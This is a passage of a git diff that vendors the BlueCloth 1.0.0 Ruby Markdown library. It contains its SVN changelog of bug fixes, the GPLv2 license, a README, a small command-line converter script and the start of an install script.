    +- Wrote some additional tests to be sure the block-level html escaper is working
    +  after the above fix.
    +
    +------------------------------------------------------------------------
    +r60 | ged | 2004-08-22 12:26:25 -0700 (Sun, 22 Aug 2004) | 2 lines
    +
    +- Removed skip of overflow test.
    +
    +------------------------------------------------------------------------
    +r59 | ged | 2004-08-22 12:24:35 -0700 (Sun, 22 Aug 2004) | 2 lines
    +
    +- "Fixed" the test case so it overflows again.
    +
    +------------------------------------------------------------------------
    +r58 | deveiant | 2004-08-08 22:12:02 -0700 (Sun, 08 Aug 2004) | 2 lines
    +
    +- Updated to 20040808.
    +
    +------------------------------------------------------------------------
    +r57 | deveiant | 2004-08-08 18:16:14 -0700 (Sun, 08 Aug 2004) | 2 lines
    +
    +- Modified to work from wherever the test is run (RPA compat).
    +
    +------------------------------------------------------------------------
    +r56 | deveiant | 2004-08-08 18:15:57 -0700 (Sun, 08 Aug 2004) | 2 lines
    +
    +- Modified to work from wherever the test is run (RPA compat).
    +
    +------------------------------------------------------------------------
    +r55 | deveiant | 2004-08-08 18:15:27 -0700 (Sun, 08 Aug 2004) | 2 lines
    +
    +- Updated version attribute.
    +
    +------------------------------------------------------------------------
    +r54 | deveiant | 2004-08-08 18:14:58 -0700 (Sun, 08 Aug 2004) | 2 lines
    +
    +- Brought markdown syntax up to date with Markdown 1.0fc1.
    +
    +------------------------------------------------------------------------
    +r53 | deveiant | 2004-08-08 18:13:16 -0700 (Sun, 08 Aug 2004) | 2 lines
    +
    +- Made the require-header work wherever the test is run from (RPA compat).
    +
    +------------------------------------------------------------------------
    +r51 | deveiant | 2004-06-21 08:20:59 -0700 (Mon, 21 Jun 2004) | 4 lines
    +
    +- Brought up to date with Markdown 1.0b7.
    +
    +- Ignore list properties on the base and docs directories updated.
    +
    +------------------------------------------------------------------------
    +r50 | deveiant | 2004-06-02 06:37:15 -0700 (Wed, 02 Jun 2004) | 1 line
    +
    +- Commented out non-functional --output option for now.
    +------------------------------------------------------------------------
    +r49 | deveiant | 2004-06-01 20:30:18 -0700 (Tue, 01 Jun 2004) | 2 lines
    +
    +Initial checkin.
    +
    +------------------------------------------------------------------------
    +r48 | deveiant | 2004-06-01 20:29:31 -0700 (Tue, 01 Jun 2004) | 2 lines
    +
    +- Added test for bug #574.
    +
    +------------------------------------------------------------------------
    +r47 | deveiant | 2004-06-01 20:21:04 -0700 (Tue, 01 Jun 2004) | 8 lines
    +
    +- Test for bug #620 - Unresolved reference-style links doubled the character
    +  immediately after them.
    +
    +- Added additional test email addresses, including ones that use extended latin
    +  charset.
    +
    +- Added bug reference to a test.
    +
    +------------------------------------------------------------------------
    +r46 | deveiant | 2004-06-01 20:19:41 -0700 (Tue, 01 Jun 2004) | 4 lines
    +
    +- Fix for bug #620 - Unresolved reference-style links doubled the character
    +  immediately after them.
    +
    +
    +------------------------------------------------------------------------
    +r45 | deveiant | 2004-05-13 19:43:17 -0700 (Thu, 13 May 2004) | 4 lines
    +
    +- Added tests for bug #568 (Two sets of bold text on one line doesn't render
    +  properly). Tests confirmed that two sets of bold text did work, but single
    +  characters being bolded does not.
    +
    +------------------------------------------------------------------------
    +r44 | deveiant | 2004-05-13 19:41:52 -0700 (Thu, 13 May 2004) | 2 lines
    +
    +- Fixed bug with bolding of single characters (bug #568).
    +
    +------------------------------------------------------------------------
    +r43 | deveiant | 2004-05-04 07:35:11 -0700 (Tue, 04 May 2004) | 2 lines
    +
    +- Additional fixes and tests for bug #537.
    +
    +------------------------------------------------------------------------
    +r41 | deveiant | 2004-04-29 20:40:38 -0700 (Thu, 29 Apr 2004) | 2 lines
    +
    +- Added bin/ directory.
    +
    +------------------------------------------------------------------------
    +r40 | deveiant | 2004-04-29 20:40:04 -0700 (Thu, 29 Apr 2004) | 2 lines
    +
    +- Set date.
    +
    +------------------------------------------------------------------------
    +r39 | deveiant | 2004-04-29 20:39:24 -0700 (Thu, 29 Apr 2004) | 3 lines
    +
    +- Added test for Bug #543 (Safe mode does not work when there are no left
    +  angle-brackets in the source).
    +
    +------------------------------------------------------------------------
    +r38 | deveiant | 2004-04-29 20:38:42 -0700 (Thu, 29 Apr 2004) | 5 lines
    +
    +- Added test for email address encoding (Bug #537).
    +
    +- Added test for bug #541 (Leading line of codeblock with more than one tab
    +  width of indent mistakenly unindented).
    +
    +------------------------------------------------------------------------
    +r37 | deveiant | 2004-04-29 20:35:26 -0700 (Thu, 29 Apr 2004) | 5 lines
    +
    +- Fix for bug #543 (Safe mode does not work when there are no left
    +  angle-brackets in the source).
    +
    +
    +
    +------------------------------------------------------------------------
    +r36 | deveiant | 2004-04-29 20:33:01 -0700 (Thu, 29 Apr 2004) | 5 lines
    +
    +- Fix for bug #541 (Leading line of codeblock with more than one tab
    +  width of indent mistakenly unindented)
    +
    +
    +
    +------------------------------------------------------------------------
    +r35 | deveiant | 2004-04-29 20:31:37 -0700 (Thu, 29 Apr 2004) | 3 lines
    +
    +- Fix for bug #537. Fix suggested by Marek Janukowicz.
    +
    +
    +------------------------------------------------------------------------
    +r32 | deveiant | 2004-04-22 21:47:42 -0700 (Thu, 22 Apr 2004) | 2 lines
    +
    +- Temporary fixes until I have time to integrate SVN stuff.
    +
    +------------------------------------------------------------------------
    +r31 | deveiant | 2004-04-22 21:46:51 -0700 (Thu, 22 Apr 2004) | 2 lines
    +
    +- Version bump.
    +
    +------------------------------------------------------------------------
    +r30 | deveiant | 2004-04-22 21:46:15 -0700 (Thu, 22 Apr 2004) | 2 lines
    +
    +- Brought in line with most-recent release.
    +
    +------------------------------------------------------------------------
    +r29 | deveiant | 2004-04-22 21:40:50 -0700 (Thu, 22 Apr 2004) | 2 lines
    +
    +- Version bump.
    +
    +------------------------------------------------------------------------
    +r28 | deveiant | 2004-04-22 21:39:05 -0700 (Thu, 22 Apr 2004) | 4 lines
    +
    +- Bugfixes for bugs 524 and 525. Thanks to David Heinemeier Hansson and Javier
    +  Goizueta for bug reports and fixes.
    +
    +
    +------------------------------------------------------------------------
    +r27 | deveiant | 2004-04-22 21:34:31 -0700 (Thu, 22 Apr 2004) | 2 lines
    +
    +- Test for bugs 524 and 525
    +
    +------------------------------------------------------------------------
    +r25 | deveiant | 2004-04-15 18:55:19 -0700 (Thu, 15 Apr 2004) | 1 line
    +
    +- Corrected version
    +------------------------------------------------------------------------
    +r24 | deveiant | 2004-04-15 18:53:52 -0700 (Thu, 15 Apr 2004) | 2 lines
    +
    +- Brought Version up to date.
    +
    +------------------------------------------------------------------------
    +r23 | deveiant | 2004-04-15 18:52:17 -0700 (Thu, 15 Apr 2004) | 1 line
    +
    +- Updated ignore metadata.
    +------------------------------------------------------------------------
    +r22 | deveiant | 2004-04-15 18:51:14 -0700 (Thu, 15 Apr 2004) | 2 lines
    +
    +Initial checkin.
    +
    +------------------------------------------------------------------------
    +r21 | deveiant | 2004-04-15 18:50:31 -0700 (Thu, 15 Apr 2004) | 6 lines
    +
    +- Changed tests/ pattern to catch all tests.
    +
    +- Added CHANGES.
    +
    +- Dropped MANIFEST.
    +
    +------------------------------------------------------------------------
    +r20 | deveiant | 2004-04-15 18:49:46 -0700 (Thu, 15 Apr 2004) | 2 lines
    +
    +- Added missing dependency check for devel-logger.
    +
    +------------------------------------------------------------------------
    +r19 | deveiant | 2004-04-15 18:49:12 -0700 (Thu, 15 Apr 2004) | 8 lines
    +
    +- Added contributors section to the header.
    +
    +- Integrated html- and style-filtering patch from Florian Gross .
    +
    +- Corrections to RedCloth-compatibility.
    +
    +- Removed log from renderstate, as it's an attribute of the string itself.
    +
    +------------------------------------------------------------------------
    +r18 | deveiant | 2004-04-15 18:48:27 -0700 (Thu, 15 Apr 2004) | 8 lines
    +
    +- Added contributors section to the header.
    +
    +- Integrated html- and style-filtering patch from Florian Gross .
    +
    +- Corrections to RedCloth-compatibility.
    +
    +- Removed log from renderstate, as it's an attribute of the string itself.
    +
    +------------------------------------------------------------------------
    +r15 | deveiant | 2004-04-11 23:02:54 -0700 (Sun, 11 Apr 2004) | 3 lines
    +
    +- Added keywords.
    +
    +
    +------------------------------------------------------------------------
    +r14 | deveiant | 2004-04-11 23:01:40 -0700 (Sun, 11 Apr 2004) | 2 lines
    +
    +- Updated comments/added to-do marker.
    +
    +------------------------------------------------------------------------
    +r13 | deveiant | 2004-04-11 22:47:16 -0700 (Sun, 11 Apr 2004) | 3 lines
    +
    +- Updated ignore list.
    +
    +
    +------------------------------------------------------------------------
    +r12 | deveiant | 2004-04-11 22:46:49 -0700 (Sun, 11 Apr 2004) | 3 lines
    +
    +Initial checkin.
    +
    +
    +------------------------------------------------------------------------
    +r11 | deveiant | 2004-04-11 22:45:07 -0700 (Sun, 11 Apr 2004) | 3 lines
    +
    +- Added a time() function for timing bits of code.
    +
    +
    +------------------------------------------------------------------------
    +r10 | deveiant | 2004-04-11 22:43:10 -0700 (Sun, 11 Apr 2004) | 3 lines
    +
    +- Changed keyword constants from CVS to SVN keywords.
    +
    +
    +------------------------------------------------------------------------
    +r9 | deveiant | 2004-04-11 22:29:37 -0700 (Sun, 11 Apr 2004) | 3 lines
    +
    +- Changed location of keyword stuff, added URL keyword.
    +
    +
    +------------------------------------------------------------------------
    +r8 | deveiant | 2004-04-11 22:26:38 -0700 (Sun, 11 Apr 2004) | 3 lines
    +
    +- Added the rest of the content.
    +
    +
    +------------------------------------------------------------------------
    +r7 | deveiant | 2004-04-11 22:21:47 -0700 (Sun, 11 Apr 2004) | 12 lines
    +
    +- Fixed license in header
    +
    +- Fixed error message in exception class with no second argument.
    +
    +- Removed unnecessary (and slllooowww) 'm' flag from HTML block matching
    +  patterns.
    +
    +- Fixed code-span scanning to match spans that occur at the beginning of the
    +  line.
    +
    +- Fixed error in code-span exception case.
    +
    +------------------------------------------------------------------------
    +r6 | deveiant | 2004-04-11 22:17:45 -0700 (Sun, 11 Apr 2004) | 3 lines
    +
    +- Renamed to reflect repurposing.
    +
    +
    +------------------------------------------------------------------------
    +r5 | deveiant | 2004-04-11 22:17:08 -0700 (Sun, 11 Apr 2004) | 2 lines
    +
    +- Converted to bug-testing testcase.
    +
    +------------------------------------------------------------------------
    +r4 | deveiant | 2004-04-11 22:15:34 -0700 (Sun, 11 Apr 2004) | 2 lines
    +
    +- Added some mode code span tests to catch bugs.
    +
    +------------------------------------------------------------------------
    +r3 | deveiant | 2004-04-10 21:40:29 -0700 (Sat, 10 Apr 2004) | 2 lines
    +
    +- Updated dist/install utilities/libs.
    +
    +------------------------------------------------------------------------
    +r2 | deveiant | 2004-04-10 13:36:46 -0700 (Sat, 10 Apr 2004) | 1 line
    +
    +Removed markdown reference source
    +------------------------------------------------------------------------
    +r1 | deveiant | 2004-04-10 13:35:02 -0700 (Sat, 10 Apr 2004) | 1 line
    +
    +Initial checkin
    diff --git a/vendor/gems/BlueCloth-1.0.0/LICENSE b/vendor/gems/BlueCloth-1.0.0/LICENSE
    new file mode 100644
    index 0000000..04137b9
    --- /dev/null
    +++ b/vendor/gems/BlueCloth-1.0.0/LICENSE
    @@ -0,0 +1,340 @@
    +		    GNU GENERAL PUBLIC LICENSE
    +		       Version 2, June 1991
    +
    + Copyright (C) 1989, 1991 Free Software Foundation, Inc.
    +                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
    + Everyone is permitted to copy and distribute verbatim copies
    + of this license document, but changing it is not allowed.
    +
    +			    Preamble
    +
    +  The licenses for most software are designed to take away your
    +freedom to share and change it.  By contrast, the GNU General Public
    +License is intended to guarantee your freedom to share and change free
    +software--to make sure the software is free for all its users.  This
    +General Public License applies to most of the Free Software
    +Foundation's software and to any other program whose authors commit to
    +using it.  (Some other Free Software Foundation software is covered by
    +the GNU Library General Public License instead.)  You can apply it to
    +your programs, too.
    +
    +  When we speak of free software, we are referring to freedom, not
    +price.  Our General Public Licenses are designed to make sure that you
    +have the freedom to distribute copies of free software (and charge for
    +this service if you wish), that you receive source code or can get it
    +if you want it, that you can change the software or use pieces of it
    +in new free programs; and that you know you can do these things.
    +
    +  To protect your rights, we need to make restrictions that forbid
    +anyone to deny you these rights or to ask you to surrender the rights.
    +These restrictions translate to certain responsibilities for you if you
    +distribute copies of the software, or if you modify it.
    +
    +  For example, if you distribute copies of such a program, whether
    +gratis or for a fee, you must give the recipients all the rights that
    +you have.  You must make sure that they, too, receive or can get the
    +source code.  And you must show them these terms so they know their
    +rights.
    +
    +  We protect your rights with two steps: (1) copyright the software, and
    +(2) offer you this license which gives you legal permission to copy,
    +distribute and/or modify the software.
    +
    +  Also, for each author's protection and ours, we want to make certain
    +that everyone understands that there is no warranty for this free
    +software.  If the software is modified by someone else and passed on, we
    +want its recipients to know that what they have is not the original, so
    +that any problems introduced by others will not reflect on the original
    +authors' reputations.
    +
    +  Finally, any free program is threatened constantly by software
    +patents.  We wish to avoid the danger that redistributors of a free
    +program will individually obtain patent licenses, in effect making the
    +program proprietary.  To prevent this, we have made it clear that any
    +patent must be licensed for everyone's free use or not licensed at all.
    +
    +  The precise terms and conditions for copying, distribution and
    +modification follow.
    +
    +		    GNU GENERAL PUBLIC LICENSE
    +   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
    +
    +  0. This License applies to any program or other work which contains
    +a notice placed by the copyright holder saying it may be distributed
    +under the terms of this General Public License.  The "Program", below,
    +refers to any such program or work, and a "work based on the Program"
    +means either the Program or any derivative work under copyright law:
    +that is to say, a work containing the Program or a portion of it,
    +either verbatim or with modifications and/or translated into another
    +language.  (Hereinafter, translation is included without limitation in
    +the term "modification".)  Each licensee is addressed as "you".
    +
    +Activities other than copying, distribution and modification are not
    +covered by this License; they are outside its scope.  The act of
    +running the Program is not restricted, and the output from the Program
    +is covered only if its contents constitute a work based on the
    +Program (independent of having been made by running the Program).
    +Whether that is true depends on what the Program does.
    +
    +  1. You may copy and distribute verbatim copies of the Program's
    +source code as you receive it, in any medium, provided that you
    +conspicuously and appropriately publish on each copy an appropriate
    +copyright notice and disclaimer of warranty; keep intact all the
    +notices that refer to this License and to the absence of any warranty;
    +and give any other recipients of the Program a copy of this License
    +along with the Program.
    +
    +You may charge a fee for the physical act of transferring a copy, and
    +you may at your option offer warranty protection in exchange for a fee.
    +
    +  2. You may modify your copy or copies of the Program or any portion
    +of it, thus forming a work based on the Program, and copy and
    +distribute such modifications or work under the terms of Section 1
    +above, provided that you also meet all of these conditions:
    +
    +    a) You must cause the modified files to carry prominent notices
    +    stating that you changed the files and the date of any change.
    +
    +    b) You must cause any work that you distribute or publish, that in
    +    whole or in part contains or is derived from the Program or any
    +    part thereof, to be licensed as a whole at no charge to all third
    +    parties under the terms of this License.
    +
    +    c) If the modified program normally reads commands interactively
    +    when run, you must cause it, when started running for such
    +    interactive use in the most ordinary way, to print or display an
    +    announcement including an appropriate copyright notice and a
    +    notice that there is no warranty (or else, saying that you provide
    +    a warranty) and that users may redistribute the program under
    +    these conditions, and telling the user how to view a copy of this
    +    License.  (Exception: if the Program itself is interactive but
    +    does not normally print such an announcement, your work based on
    +    the Program is not required to print an announcement.)
    +
    +These requirements apply to the modified work as a whole.  If
    +identifiable sections of that work are not derived from the Program,
    +and can be reasonably considered independent and separate works in
    +themselves, then this License, and its terms, do not apply to those
    +sections when you distribute them as separate works.  But when you
    +distribute the same sections as part of a whole which is a work based
    +on the Program, the distribution of the whole must be on the terms of
    +this License, whose permissions for other licensees extend to the
    +entire whole, and thus to each and every part regardless of who wrote it.
    +
    +Thus, it is not the intent of this section to claim rights or contest
    +your rights to work written entirely by you; rather, the intent is to
    +exercise the right to control the distribution of derivative or
    +collective works based on the Program.
    +
    +In addition, mere aggregation of another work not based on the Program
    +with the Program (or with a work based on the Program) on a volume of
    +a storage or distribution medium does not bring the other work under
    +the scope of this License.
    +
    +  3. You may copy and distribute the Program (or a work based on it,
    +under Section 2) in object code or executable form under the terms of
    +Sections 1 and 2 above provided that you also do one of the following:
    +
    +    a) Accompany it with the complete corresponding machine-readable
    +    source code, which must be distributed under the terms of Sections
    +    1 and 2 above on a medium customarily used for software interchange; or,
    +
    +    b) Accompany it with a written offer, valid for at least three
    +    years, to give any third party, for a charge no more than your
    +    cost of physically performing source distribution, a complete
    +    machine-readable copy of the corresponding source code, to be
    +    distributed under the terms of Sections 1 and 2 above on a medium
    +    customarily used for software interchange; or,
    +
    +    c) Accompany it with the information you received as to the offer
    +    to distribute corresponding source code.  (This alternative is
    +    allowed only for noncommercial distribution and only if you
    +    received the program in object code or executable form with such
    +    an offer, in accord with Subsection b above.)
    +
    +The source code for a work means the preferred form of the work for
    +making modifications to it.  For an executable work, complete source
    +code means all the source code for all modules it contains, plus any
    +associated interface definition files, plus the scripts used to
    +control compilation and installation of the executable.  However, as a
    +special exception, the source code distributed need not include
    +anything that is normally distributed (in either source or binary
    +form) with the major components (compiler, kernel, and so on) of the
    +operating system on which the executable runs, unless that component
    +itself accompanies the executable.
    +
    +If distribution of executable or object code is made by offering
    +access to copy from a designated place, then offering equivalent
    +access to copy the source code from the same place counts as
    +distribution of the source code, even though third parties are not
    +compelled to copy the source along with the object code.
    +
    +  4. You may not copy, modify, sublicense, or distribute the Program
    +except as expressly provided under this License.  Any attempt
    +otherwise to copy, modify, sublicense or distribute the Program is
    +void, and will automatically terminate your rights under this License.
    +However, parties who have received copies, or rights, from you under
    +this License will not have their licenses terminated so long as such
    +parties remain in full compliance.
    +
    +  5. You are not required to accept this License, since you have not
    +signed it.  However, nothing else grants you permission to modify or
    +distribute the Program or its derivative works.  These actions are
    +prohibited by law if you do not accept this License.  Therefore, by
    +modifying or distributing the Program (or any work based on the
    +Program), you indicate your acceptance of this License to do so, and
    +all its terms and conditions for copying, distributing or modifying
    +the Program or works based on it.
    +
    +  6. Each time you redistribute the Program (or any work based on the
    +Program), the recipient automatically receives a license from the
    +original licensor to copy, distribute or modify the Program subject to
    +these terms and conditions.  You may not impose any further
    +restrictions on the recipients' exercise of the rights granted herein.
    +You are not responsible for enforcing compliance by third parties to
    +this License.
    +
    +  7. If, as a consequence of a court judgment or allegation of patent
    +infringement or for any other reason (not limited to patent issues),
    +conditions are imposed on you (whether by court order, agreement or
    +otherwise) that contradict the conditions of this License, they do not
    +excuse you from the conditions of this License.  If you cannot
    +distribute so as to satisfy simultaneously your obligations under this
    +License and any other pertinent obligations, then as a consequence you
    +may not distribute the Program at all.  For example, if a patent
    +license would not permit royalty-free redistribution of the Program by
    +all those who receive copies directly or indirectly through you, then
    +the only way you could satisfy both it and this License would be to
    +refrain entirely from distribution of the Program.
    +
    +If any portion of this section is held invalid or unenforceable under
    +any particular circumstance, the balance of the section is intended to
    +apply and the section as a whole is intended to apply in other
    +circumstances.
    +
    +It is not the purpose of this section to induce you to infringe any
    +patents or other property right claims or to contest validity of any
    +such claims; this section has the sole purpose of protecting the
    +integrity of the free software distribution system, which is
    +implemented by public license practices.  Many people have made
    +generous contributions to the wide range of software distributed
    +through that system in reliance on consistent application of that
    +system; it is up to the author/donor to decide if he or she is willing
    +to distribute software through any other system and a licensee cannot
    +impose that choice.
    +
    +This section is intended to make thoroughly clear what is believed to
    +be a consequence of the rest of this License.
    +
    +  8. If the distribution and/or use of the Program is restricted in
    +certain countries either by patents or by copyrighted interfaces, the
    +original copyright holder who places the Program under this License
    +may add an explicit geographical distribution limitation excluding
    +those countries, so that distribution is permitted only in or among
    +countries not thus excluded.  In such case, this License incorporates
    +the limitation as if written in the body of this License.
    +
    +  9. The Free Software Foundation may publish revised and/or new versions
    +of the General Public License from time to time.  Such new versions will
    +be similar in spirit to the present version, but may differ in detail to
    +address new problems or concerns.
    +
    +Each version is given a distinguishing version number.  If the Program
    +specifies a version number of this License which applies to it and "any
    +later version", you have the option of following the terms and conditions
    +either of that version or of any later version published by the Free
    +Software Foundation.  If the Program does not specify a version number of
    +this License, you may choose any version ever published by the Free Software
    +Foundation.
    +
    +  10. If you wish to incorporate parts of the Program into other free
    +programs whose distribution conditions are different, write to the author
    +to ask for permission.  For software which is copyrighted by the Free
    +Software Foundation, write to the Free Software Foundation; we sometimes
    +make exceptions for this.  Our decision will be guided by the two goals
    +of preserving the free status of all derivatives of our free software and
    +of promoting the sharing and reuse of software generally.
    +
    +			    NO WARRANTY
    +
    +  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
    +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
    +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
    +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
    +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
    +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
    +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
    +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
    +REPAIR OR CORRECTION.
    +
    +  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
    +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
    +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
    +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
    +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
    +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
    +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
    +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
    +POSSIBILITY OF SUCH DAMAGES.
    +
    +		     END OF TERMS AND CONDITIONS
    +
    +	    How to Apply These Terms to Your New Programs
    +
    +  If you develop a new program, and you want it to be of the greatest
    +possible use to the public, the best way to achieve this is to make it
    +free software which everyone can redistribute and change under these terms.
    +
    +  To do so, attach the following notices to the program.  It is safest
    +to attach them to the start of each source file to most effectively
    +convey the exclusion of warranty; and each file should have at least
    +the "copyright" line and a pointer to where the full notice is found.
    +
    +    
    +    Copyright (C)   
    +
    +    This program is free software; you can redistribute it and/or modify
    +    it under the terms of the GNU General Public License as published by
    +    the Free Software Foundation; either version 2 of the License, or
    +    (at your option) any later version.
    +
    +    This program is distributed in the hope that it will be useful,
    +    but WITHOUT ANY WARRANTY; without even the implied warranty of
    +    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    +    GNU General Public License for more details.
    +
    +    You should have received a copy of the GNU General Public License
    +    along with this program; if not, write to the Free Software
    +    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
    +
    +
    +Also add information on how to contact you by electronic and paper mail.
    +
    +If the program is interactive, make it output a short notice like this
    +when it starts in an interactive mode:
    +
    +    Gnomovision version 69, Copyright (C) year name of author
    +    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    +    This is free software, and you are welcome to redistribute it
    +    under certain conditions; type `show c' for details.
    +
    +The hypothetical commands `show w' and `show c' should show the appropriate
    +parts of the General Public License.  Of course, the commands you use may
    +be called something other than `show w' and `show c'; they could even be
    +mouse-clicks or menu items--whatever suits your program.
    +
    +You should also get your employer (if you work as a programmer) or your
    +school, if any, to sign a "copyright disclaimer" for the program, if
    +necessary.  Here is a sample; alter the names:
    +
    +  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
    +  `Gnomovision' (which makes passes at compilers) written by James Hacker.
    +
    +  , 1 April 1989
    +  Ty Coon, President of Vice
    +
    +This General Public License does not permit incorporating your program into
    +proprietary programs.  If your program is a subroutine library, you may
    +consider it more useful to permit linking proprietary applications with the
    +library.  If this is what you want to do, use the GNU Library General
    +Public License instead of this License.
    diff --git a/vendor/gems/BlueCloth-1.0.0/README b/vendor/gems/BlueCloth-1.0.0/README
    new file mode 100644
    index 0000000..247468a
    --- /dev/null
    +++ b/vendor/gems/BlueCloth-1.0.0/README
    @@ -0,0 +1,99 @@
    +
    +BlueCloth
    +=========
    +
    +Version 1.0.0 - 2004/08/24
    +
    +Original version by John Gruber .  
    +Ruby port by Michael Granger .
    +
    +BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
    +tool for web writers. To quote from the project page: Markdown allows you to
    +write using an easy-to-read, easy-to-write plain text format, then convert it to
    +structurally valid XHTML (or HTML).
    +
    +It borrows a naming convention and several helpings of interface from
    +[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
    +conversion syntax called [Textile][4].
    +
    +
    +Installation
    +------------
    +
    +You can install this module either by running the included `install.rb` script,
    +or by simply copying `lib/bluecloth.rb` to a directory in your load path.
    +
    +
    +Dependencies
    +------------
    +
    +BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
    +with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
    +versions, and the `logger` library, which is also included in 1.8.x and later.
    +
    +
    +Example Usage
    +-------------
    +
    +The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
    +
    +    bc = BlueCloth::new( str )
    +    puts bc.to_html
    +
    +This `README` file is an example of Markdown syntax. The sample program
    +`bluecloth` in the `bin/` directory can be used to convert this (or any other)
    +file with Markdown syntax into HTML:
    +
    +    $ bin/bluecloth README > README.html
    +
    +
    +Acknowledgements
    +----------------
    +
    +This library is a port of the canonical Perl one, and so owes most of its
    +functionality to its author, John Gruber. The bugs in this code are most
    +certainly an artifact of my porting it and not an artifact of the excellent code
    +from which it is derived.
    +
    +It also, as mentioned before, borrows its API liberally from RedCloth, both for
    +compatibility's sake, and because I think Why's code is beautiful. His excellent
    +code and peerless prose have been an inspiration to me, and this module is
    +intended as the sincerest flattery.
    +
    +Also contributing to any success this module may enjoy are those among my peers
    +who have taken the time to help out, either by submitting patches, testing, or
    +offering suggestions and review:
    +
    +* Martin Chase 
    +* Florian Gross 
    +
    +
    +Author/Legal
    +------------
    +
    +Original version:  
    +Copyright (c) 2003-2004 John Gruber  
    +  
    +All rights reserved.
    +
    +Ruby version:  
    +Copyright (c) 2004 The FaerieMUD Consortium
    +
    +BlueCloth is free software; you can redistribute it and/or modify it under the
    +terms of the GNU General Public License as published by the Free Software
    +Foundation; either version 2 of the License, or (at your option) any later
    +version.
    +
    +BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
    +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
    +PARTICULAR PURPOSE.  See the GNU General Public License for more details.
    +
    +
    +  [1]: http://daringfireball.net/projects/markdown/
    +  [2]: http://www.whytheluckystiff.net/ruby/redcloth/
    +  [3]: http://www.whytheluckystiff.net/
    +  [4]: http://www.textism.com/tools/textile/
    +
    +
    +$Id: README 65 2004-08-24 14:56:47Z ged $  
    +$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $
    diff --git a/vendor/gems/BlueCloth-1.0.0/bin/bluecloth b/vendor/gems/BlueCloth-1.0.0/bin/bluecloth
    new file mode 100644
    index 0000000..a57a0a0
    --- /dev/null
    +++ b/vendor/gems/BlueCloth-1.0.0/bin/bluecloth
    @@ -0,0 +1,83 @@
    +#!/usr/bin/ruby
    +#
    +# = bluecloth
    +#
    +# Format one or more text files with the markdown formatter.
    +#
    +# = Synopsis
    +#
    +#   bluecloth [OPTIONS] [FILES]
    +#
    +# 
    +#
    +
    +BEGIN {
    +	require 'bluecloth'
    +	require 'optparse'
    +}
    +
    +DocumentWrapper = %{
    +
    +  %s
    +  
    +%s
    +  
    +
    +}
    +
    +def main
    +	fragment = false
    +	destination = '.'
    +
    +	ARGV.options do |oparser|
    +
    +		oparser.banner = "Usage: #$0 [OPTIONS] FILES"
    +
    +		# Debug mode
    +		oparser.on( "--debug", "-d", TrueClass, "Turn debugging output on" ) {
    +			$DEBUG = true
    +		}
    +
    +		# 'Fragment' mode
    +		oparser.on( "--fragment", "-f", TrueClass,
    +			"Output HTML fragments instead of whole documents" ) {
    +			fragment = true
    +		}
    +
    +		# Output destination
    +		#oparser.on( "--output=DESTINATION", "-o DESTINATION", String,
    +		#	"Write output to DESTINATION instead of the current directory" ) {|arg|
    +		#	destination = arg
    +		#}
    +
    +		oparser.parse!
    +	end
    +
    +	# Filter mode if no arguments
    +	ARGV.push( "-" ) if ARGV.empty?
    +
    +	ARGV.each {|file|
    +		if file == '-'
    +			contents = $stdin.readlines(nil)
    +		else
    +			contents = File::readlines( file, nil )
    +		end
    +
    +		bc = BlueCloth::new( contents.join )
    +
    +		if fragment
    +			$stdout.puts bc.to_html
    +		else
    +			$stdout.puts DocumentWrapper % [ file, bc.to_html ]
    +		end
    +	}
    +
    +rescue => err
    +	$stderr.puts "Aborting: Fatal error: %s" % err.message
    +	exit 255
    +end
    +
    +
    +
    +main
    +
    diff --git a/vendor/gems/BlueCloth-1.0.0/init.rb b/vendor/gems/BlueCloth-1.0.0/init.rb
    new file mode 100644
    index 0000000..1f4151b
    --- /dev/null
    +++ b/vendor/gems/BlueCloth-1.0.0/init.rb
    @@ -0,0 +1,3 @@
    +
    +  require File.join(File.dirname(__FILE__), 'lib', 'bluecloth')
    +
    diff --git a/vendor/gems/BlueCloth-1.0.0/install.rb b/vendor/gems/BlueCloth-1.0.0/install.rb
    new file mode 100644
    index 0000000..41f9f56
    --- /dev/null
    +++ b/vendor/gems/BlueCloth-1.0.0/install.rb
    @@ -0,0 +1,150 @@
    +#!/usr/bin/ruby
    +#
    +#	BlueCloth Module Install Script
